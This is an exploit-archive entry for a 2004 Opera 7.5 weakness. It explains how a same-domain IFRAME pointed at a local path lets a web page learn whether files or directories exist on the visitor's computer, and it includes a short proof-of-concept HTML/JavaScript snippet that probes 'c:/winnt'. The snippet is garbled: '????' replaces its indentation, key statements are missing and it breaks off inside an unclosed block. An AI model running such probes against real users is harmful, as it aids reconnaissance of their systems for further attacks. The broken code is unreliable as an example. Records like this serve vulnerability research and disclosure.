Opera Web Browser 7.5 - Resource Detection

Type exploitpack
Reporter GreyMagic Software
Modified 2004-07-17T00:00:00


Opera Web Browser 7.5 - Resource Detection

                                            source: https://www.securityfocus.com/bid/10961/info

Opera Web Browser is prone to a security weakness that may permit an attacker to determine the existence of resources on a vulnerable computer.

An attacker can use an IFRAME that is accessible within the same domain and change its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Opera.

This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

Opera 7.53 and prior versions running Windows, Unix, and Apple platforms are reported vulnerable to this issue.

<iframe src="blank.html"></iframe>
<script type="text/javascript">
onload=function () {
????var sLocal="c:/winnt";
????????function () {
????????????try {
????????????????alert(sLocal+" does not exists.");
????????????} catch (oErr) {
????????????????alert(sLocal+" exists.");